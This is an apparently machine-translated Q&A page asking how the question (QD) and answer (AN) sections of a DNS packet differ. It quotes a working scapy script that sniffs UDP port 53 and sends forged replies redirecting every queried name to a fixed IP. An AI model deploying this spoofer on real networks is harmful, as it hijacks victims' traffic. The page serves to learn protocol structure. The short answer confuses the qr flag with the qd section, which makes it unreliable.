DNS数据包中不同类型资源记录块的功能是什么?

时间:2017-10-26 14:31:56

标签: networking dns scapy

我知道资源记录部分的结构,看起来像这样:enter image description here

但是在阅读dns恶搞插件的源代码时我完全迷失了:

    from scapy.all import *
def dns_spoof(pkt):
    redirect_to = '172.16.1.63'
    if pkt.haslayer(DNSQR): # DNS question record
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                      UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                      DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa = 1, qr=1, \
                      an=DNSRR(rrname=pkt[DNS].qd.qname,  ttl=10, rdata=redirect_to))
        send(spoofed_pkt)
        print 'Sent:', spoofed_pkt.summary()
sniff(filter='udp port 53', iface='wlan0', store=0, prn=dns_spoof)

QD和AN RR之间有什么区别?为什么我们必须在这个数据包中使用QD?

1 个答案:

答案 0 :(得分:0)

DNS qr应解释为客户端发送的查询数据。 Scapy使用DNSQR字段来表示此结构。因此,将qr部分与其他RR字段分开更容易。